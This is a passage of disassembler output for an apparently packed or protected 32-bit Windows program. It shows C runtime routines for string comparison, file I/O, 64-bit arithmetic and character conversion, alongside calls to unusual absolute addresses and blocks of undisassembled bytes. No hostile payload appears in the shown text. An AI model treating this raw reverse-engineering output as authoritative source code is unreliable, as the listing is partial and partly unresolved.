[ebp+var_1A] cmp ax, word_4DB2DE jnz short loc_41D0E6 mov ax, [ebp+var_1E] cmp ax, word_4DB2DA jnz short loc_41D0E6 mov ax, [ebp+var_20] cmp ax, word_4DB2D8 jnz short loc_41D0E6 mov eax, dword_4DB2D0 jmp short loc_41D12B ; --------------------------------------------------------------------------- loc_41D0E6: ; CODE XREF: sub_41D081+28j ; sub_41D081+35j ... lea eax, [ebp+var_CC] push eax nop call near ptr 2850000h cmp eax, 0FFFFFFFFh jz short loc_41D113 cmp eax, 2 jnz short loc_41D10F cmp [ebp+var_32], 0 jz short loc_41D10F cmp [ebp+var_24], 0 jz short loc_41D10F push 1 pop eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D10F: ; CODE XREF: sub_41D081+7Aj ; sub_41D081+81j ... xor eax, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D113: ; CODE XREF: sub_41D081+75j or eax, 0FFFFFFFFh loc_41D116: ; CODE XREF: sub_41D081+8Cj ; sub_41D081+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4DB2D8 movsd movsd movsd movsd pop edi mov dword_4DB2D0, eax pop esi loc_41D12B: ; CODE XREF: sub_41D081+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422669 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D15B mov [ecx], eax locret_41D15B: ; CODE XREF: sub_41D081+D6j leave retn sub_41D081 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D160 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DB32C cmp dword ptr [eax+8], 0 jnz short loc_41D1B3 mov al, 0FFh mov edi, edi loc_41D17C: ; CODE XREF: sub_41D160+28j ; sub_41D160+48j or al, al jz short loc_41D1AE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D17C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D17C sbb al, al sbb al, 0FFh loc_41D1AE: ; CODE XREF: sub_41D160+1Ej movsx eax, al jmp short loc_41D1E7 ; --------------------------------------------------------------------------- loc_41D1B3: ; CODE XREF: sub_41D160+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D1BC: ; CODE XREF: sub_41D160+68j ; sub_41D160+80j or al, al jz short loc_41D1E7 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D1BC push eax push ebx call sub_41D74C mov ebx, eax add esp, 4 call sub_41D74C add esp, 4 cmp bl, al jz short loc_41D1BC sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D1E7: ; CODE XREF: sub_41D160+51j ; sub_41D160+5Ej pop ebx pop esi pop edi leave retn sub_41D160 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41D268 mov edi, [esp+14h] test edi, edi jz short loc_41D20B cmp edi, 1 jz short loc_41D20B cmp edi, 2 jnz short loc_41D268 loc_41D20B: ; CODE XREF: ___:0041D1FFj ; ___:0041D204j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D222 push esi call sub_4227C5 add [esp+14h], eax pop ecx xor edi, edi loc_41D222: ; CODE XREF: ___:0041D213j push esi call sub_41DB8B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D237 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D24B ; --------------------------------------------------------------------------- loc_41D237: ; CODE XREF: ___:0041D22Ej test al, 1 jz short loc_41D24B test al, 8 jz short loc_41D24B test ah, 4 jnz short loc_41D24B mov dword ptr [esi+18h], 200h loc_41D24B: ; CODE XREF: ___:0041D235j ; ___:0041D239j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_42272B add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41D275 ; --------------------------------------------------------------------------- loc_41D268: ; CODE XREF: ___:0041D1F7j ; ___:0041D209j mov dword_4DB278, 16h or eax, 0FFFFFFFFh loc_41D275: ; CODE XREF: ___:0041D266j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D280 proc near ; CODE XREF: sub_412B08+19Ep ; sub_41386B+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41D299 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41D299: ; CODE XREF: sub_41D280+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41D280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2B4 proc near ; CODE XREF: ___:004162E3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41D2D8 xor eax, eax jmp loc_41D3A5 ; --------------------------------------------------------------------------- loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41D2EB mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41D2F2 ; --------------------------------------------------------------------------- loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj mov [ebp+arg_C], 1000h loc_41D2F2: ; CODE XREF: sub_41D2B4+35j ; sub_41D2B4+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41D326 mov eax, [esi+4] test eax, eax jz short loc_41D326 cmp ebx, eax mov edi, ebx jb short loc_41D30C mov edi, eax loc_41D30C: ; CODE XREF: sub_41D2B4+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41C310 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41D36C ; --------------------------------------------------------------------------- loc_41D326: ; CODE XREF: sub_41D2B4+47j ; sub_41D2B4+4Ej cmp ebx, [ebp+arg_C] jb short loc_41D371 test ecx, ecx jz short loc_41D33A push esi call sub_41DB8B test eax, eax pop ecx jnz short loc_41D3B3 loc_41D33A: ; CODE XREF: sub_41D2B4+79j cmp [ebp+arg_C], 0 jz short loc_41D34D mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41D34F ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj mov edi, ebx loc_41D34F: ; CODE XREF: sub_41D2B4+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41D3AA add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41D3AA loc_41D36C: ; CODE XREF: sub_41D2B4+70j mov edi, [ebp+var_4] jmp short loc_41D39A ; --------------------------------------------------------------------------- loc_41D371: ; CODE XREF: sub_41D2B4+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F58A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41D3B3 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41D39A mov [ebp+arg_C], 1 loc_41D39A: ; CODE XREF: sub_41D2B4+BBj ; sub_41D2B4+DDj test ebx, ebx jnz loc_41D2F2 mov eax, [ebp+arg_8] loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj ; sub_41D2B4+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj ; sub_41D2B4+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41D3B5 ; --------------------------------------------------------------------------- loc_41D3B3: ; CODE XREF: sub_41D2B4+84j ; sub_41D2B4+CFj mov eax, edi loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41D3A5 sub_41D2B4 endp ; =============== S U B R O U T I N E ======================================= sub_41D3BE proc near ; CODE XREF: sub_416908+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call near ptr 26804D6h nop cmp eax, 0FFFFFFFFh jnz short loc_41D3DE call near ptr 2680000h nop push eax call sub_4203DF pop ecx loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj test al, 1 jz short loc_41D3FF test [esp+arg_4], 2 jz short loc_41D3FF mov dword_4DB278, 0Dh mov dword_4DB27C, 5 jmp short loc_41D3DA ; --------------------------------------------------------------------------- loc_41D3FF: ; CODE XREF: sub_41D3BE+22j ; sub_41D3BE+29j xor eax, eax retn sub_41D3BE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D410 proc near ; CODE XREF: sub_416922+3Fp ; sub_41A98C+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41D432 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41D473 ; --------------------------------------------------------------------------- loc_41D432: ; CODE XREF: sub_41D410+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41D440: ; CODE XREF: sub_41D410+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D440 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41D46E cmp edx, [esp+8+arg_4] ja short loc_41D46E jb short loc_41D46F cmp eax, [esp+8+arg_0] jbe short loc_41D46F loc_41D46E: ; CODE XREF: sub_41D410+4Ej ; sub_41D410+54j dec esi loc_41D46F: ; CODE XREF: sub_41D410+56j ; sub_41D410+5Cj xor edx, edx mov eax, esi loc_41D473: ; CODE XREF: sub_41D410+20j pop esi pop ebx retn 10h sub_41D410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D480 proc near ; CODE XREF: sub_416922+2Dp ; sub_41A98C+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41D4A1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41D4F1 ; --------------------------------------------------------------------------- loc_41D4A1: ; CODE XREF: sub_41D480+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41D4AF: ; CODE XREF: sub_41D480+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D4AF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41D4DA cmp edx, [esp+4+arg_4] ja short loc_41D4DA jb short loc_41D4E2 cmp eax, [esp+4+arg_0] jbe short loc_41D4E2 loc_41D4DA: ; CODE XREF: sub_41D480+4Aj ; sub_41D480+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41D4E2: ; CODE XREF: sub_41D480+52j ; sub_41D480+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41D4F1: ; CODE XREF: sub_41D480+1Fj pop ebx retn 10h sub_41D480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D500 proc near ; CODE XREF: sub_416A32+5Fp ; sub_416A32+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41D521 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41D521: ; CODE XREF: sub_41D500+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41D53D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41D53D: ; CODE XREF: sub_41D500+27j or eax, eax jnz short loc_41D559 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41D59A ; --------------------------------------------------------------------------- loc_41D559: ; CODE XREF: sub_41D500+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41D567: ; CODE XREF: sub_41D500+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41D567 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41D595 cmp edx, [esp+0Ch+arg_4] ja short loc_41D595 jb short loc_41D596 cmp eax, [esp+0Ch+arg_0] jbe short loc_41D596 loc_41D595: ; CODE XREF: sub_41D500+85j ; sub_41D500+8Bj dec esi loc_41D596: ; CODE XREF: sub_41D500+8Dj ; sub_41D500+93j xor edx, edx mov eax, esi loc_41D59A: ; CODE XREF: sub_41D500+57j dec edi jnz short loc_41D5A4 neg edx neg eax sbb edx, 0 loc_41D5A4: ; CODE XREF: sub_41D500+9Bj pop ebx pop esi pop edi retn 10h sub_41D500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5AA proc near ; CODE XREF: sub_4170EC+BFp ; sub_4170EC+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DB334 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41D5DE mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41D645 loc_41D5C6: ; CODE XREF: sub_41D5AA+30j mov cl, [edx] cmp cl, 61h jl short loc_41D5D7 cmp cl, 7Ah jg short loc_41D5D7 sub cl, 20h mov [edx], cl loc_41D5D7: ; CODE XREF: sub_41D5AA+21j ; sub_41D5AA+26j inc edx cmp [edx], bl jnz short loc_41D5C6 jmp short loc_41D645 ; --------------------------------------------------------------------------- loc_41D5DE: ; CODE XREF: sub_41D5AA+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_422ACA mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41D637 push edi call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41D637 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D637 push [ebp+var_4] push [ebp+arg_0] call sub_41BEB0 pop ecx pop ecx loc_41D637: ; CODE XREF: sub_41D5AA+53j ; sub_41D5AA+61j ... push [ebp+var_4] call sub_41B0B1 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41D645: ; CODE XREF: sub_41D5AA+1Aj ; sub_41D5AA+32j pop ebx leave retn sub_41D5AA endp ; =============== S U B R O U T I N E ======================================= sub_41D648 proc near ; CODE XREF: sub_417ADD+1A8p arg_0 = dword ptr 4 cmp dword_43C504, 1 jle short loc_41D65F push 4 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D65F: ; CODE XREF: sub_41D648+7j mov eax, [esp+arg_0] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 4 retn sub_41D648 endp ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_420510+76p ; sub_420510+88p ... arg_0 = dword ptr 4 cmp dword_43C504, 1 jle short loc_41D687 push 8 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D687: ; CODE XREF: sub_41D670+7j mov eax, [esp+arg_0] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 8 retn sub_41D670 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_41D6EC mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_41D6ED test eax, 1 jz short loc_41D6CD mov cl, [esi] cmp cl, [edi] jnz short loc_41D71A inc esi inc edi dec eax jz short loc_41D6EA loc_41D6CD: ; CODE XREF: ___:0041D6C0j ; ___:0041D6E8j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41D71A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41D71A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41D6CD loc_41D6EA: ; CODE XREF: ___:0041D6CBj ; ___:0041D724j pop edi pop esi locret_41D6EC: ; CODE XREF: ___:0041D6A6j retn ; --------------------------------------------------------------------------- loc_41D6ED: ; CODE XREF: ___:0041D6B9j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41D722 repe cmpsd jz short loc_41D722 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41D715 cmp ch, dh jnz short loc_41D715 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41D715 cmp ch, dh loc_41D715: ; CODE XREF: ___:0041D703j ; ___:0041D707j ... mov eax, 0 loc_41D71A: ; CODE XREF: ___:0041D6C6j ; ___:0041D6D3j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41D722: ; CODE XREF: ___:0041D6F5j ; ___:0041D6F9j test eax, eax jz short loc_41D6EA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41D715 dec eax jz short loc_41D749 cmp dh, ch jnz short loc_41D715 dec eax jz short loc_41D749 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41D715 dec eax loc_41D749: ; CODE XREF: ___:0041D72Fj ; ___:0041D736j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D74C proc near ; CODE XREF: sub_418068+6p ; sub_418086+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB334, 0 push ebx push esi push edi jnz short loc_41D779 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41D812 cmp eax, 5Ah jg loc_41D812 add eax, 20h jmp loc_41D812 ; --------------------------------------------------------------------------- loc_41D779: ; CODE XREF: sub_41D74C+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41D7AD cmp dword_43C504, esi jle short loc_41D79B push esi push ebx call sub_41F515 pop ecx pop ecx jmp short loc_41D7A5 ; --------------------------------------------------------------------------- loc_41D79B: ; CODE XREF: sub_41D74C+42j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, esi loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj test eax, eax jnz short loc_41D7AD loc_41D7A9: ; CODE XREF: sub_41D74C+ADj mov eax, ebx jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj ; sub_41D74C+5Bj mov edx, off_43C2F8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D7D1 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41D7DA ; --------------------------------------------------------------------------- loc_41D7D1: ; CODE XREF: sub_41D74C+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41D7DA: ; CODE XREF: sub_41D74C+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D7A9 cmp eax, esi jnz short loc_41D805 movzx eax, [ebp+var_4] jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D805: ; CODE XREF: sub_41D74C+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D812: ; CODE XREF: sub_41D74C+16j ; sub_41D74C+1Fj ... pop edi pop esi pop ebx leave retn sub_41D74C endp ; =============== S U B R O U T I N E ======================================= sub_41D817 proc near ; CODE XREF: sub_4185A4+ADp ; sub_419593+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41D82E loc_41D824: ; CODE XREF: sub_41D817+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41D824 loc_41D82E: ; CODE XREF: sub_41D817+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41D817 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D834 proc near ; CODE XREF: sub_4185A4+7Fp ; sub_4185A4+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41D901 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41D92E cmp dword_4DB334, esi jnz short loc_41D885 cmp edi, esi jbe loc_41D92E loc_41D864: ; CODE XREF: sub_41D834+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41D92E inc eax inc edx inc edx cmp eax, edi jb short loc_41D864 jmp loc_41D92E ; --------------------------------------------------------------------------- loc_41D885: ; CODE XREF: sub_41D834+26j mov ebx, [ebp+arg_4] mov esi, dword_427180 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DB344 call esi test eax, eax jnz loc_41D92D nop call near ptr 2680000h cmp eax, 7Ah jz short loc_41D8BF loc_41D8B0: ; CODE XREF: sub_41D834+CBj ; sub_41D834+F7j mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D8BF: ; CODE XREF: sub_41D834+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41D8C7: ; CODE XREF: sub_41D834+B3j mov cl, [eax] test cl, cl jz short loc_41D8E9 mov edx, off_43C2F8 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41D8DE inc eax loc_41D8DE: ; CODE XREF: sub_41D834+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41D8C7 loc_41D8E9: ; CODE XREF: sub_41D834+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DB344 call esi test eax, eax jnz short loc_41D92E jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D901: ; CODE XREF: sub_41D834+Fj cmp dword_4DB334, esi jnz short loc_41D914 push [ebp+arg_4] call sub_41AFE0 pop ecx jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D914: ; CODE XREF: sub_41D834+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DB344 call near ptr 2800000h nop cmp eax, esi jz short loc_41D8B0 loc_41D92D: ; CODE XREF: sub_41D834+6Bj dec eax loc_41D92E: ; CODE XREF: sub_41D834+1Aj ; sub_41D834+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41D834 endp ; --------------------------------------------------------------------------- db 1Fh dd 5E176D8Dh, 0E229582Bh, 8873D21Ah, 0A164AB93h, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 0C2E890E8h, 33024541h, 89D48AD2h dd 4DB29015h, 81C88B00h, 0FFE1h, 8C0D8900h, 0C1004DB2h dd 0CA0308E1h, 0B2880D89h, 0E8C1004Dh, 0B284A310h, 0F633004Dh dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 5BE8FC75h, 90000059h, 454152E8h, 0C90CA302h, 19E8004Dh dd 0A3000058h, 4DB2E8h, 55C2E8h, 5504E800h, 0B9E80000h dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2452628h, 5495E8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 73E89056h, 5002262Bh, 0FE3820E8h, 0A04589FFh dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 0D3E85150h dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41DA29 proc near ; CODE XREF: sub_41D052+16p ; ___:00422F18p ... arg_0 = dword ptr 4 cmp dword_4DB2F0, 1 jnz short loc_41DA37 call sub_423590 loc_41DA37: ; CODE XREF: sub_41DA29+7j push [esp+arg_0] call sub_4235C9 push 0FFh call off_43A2C0 pop ecx pop ecx retn sub_41DA29 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DB2F0 dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 90000000h dd 0A58244E8h db 77h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap ; sub_423A33+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DC6C0 jnb loc_41DB0C mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41DB0C push edi call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DAEB cmp edi, 1 jz short loc_41DAB9 cmp edi, 2 jnz short loc_41DACF loc_41DAB9: ; CODE XREF: sub_41DA72+40j push 2 call sub_4238A2 push 1 mov ebp, eax call sub_4238A2 pop ecx cmp eax, ebp pop ecx jz short loc_41DAEB loc_41DACF: ; CODE XREF: sub_41DA72+45j push edi call sub_4238A2 pop ecx push eax nop call near ptr 265092Ah test eax, eax jnz short loc_41DAEB nop call near ptr 2680000h mov ebp, eax jmp short loc_41DAED ; --------------------------------------------------------------------------- loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj ; sub_41DA72+5Bj ... xor ebp, ebp loc_41DAED: ; CODE XREF: sub_41DA72+77j push edi call sub_423828 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41DB08 push ebp call sub_4203DF pop ecx jmp short loc_41DB1D ; --------------------------------------------------------------------------- loc_41DB08: ; CODE XREF: sub_41DA72+8Bj xor eax, eax jmp short loc_41DB20 ; --------------------------------------------------------------------------- loc_41DB0C: ; CODE XREF: sub_41DA72+Ej ; sub_41DA72+2Fj and dword_4DB27C, 0 mov dword_4DB278, 9 loc_41DB1D: ; CODE XREF: sub_41DA72+94j or eax, 0FFFFFFFFh loc_41DB20: ; CODE XREF: sub_41DA72+98j pop edi pop esi pop ebp pop ebx retn sub_41DA72 endp ; =============== S U B R O U T I N E ======================================= sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41DB4E test al, 8 jz short loc_41DB4E push dword ptr [esi+8] call sub_41B0B1 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41DB4E: ; CODE XREF: sub_41DB25+Aj ; sub_41DB25+Ej pop esi retn sub_41DB25 endp ; =============== S U B R O U T I N E ======================================= sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp ; sub_41DBF0+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41DB62 push esi call sub_41DBF0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41DB62: ; CODE XREF: sub_41DB50+7j push esi call sub_41DB8B test eax, eax pop ecx jz short loc_41DB72 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DB72: ; CODE XREF: sub_41DB50+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41DB87 push dword ptr [esi+10h] call 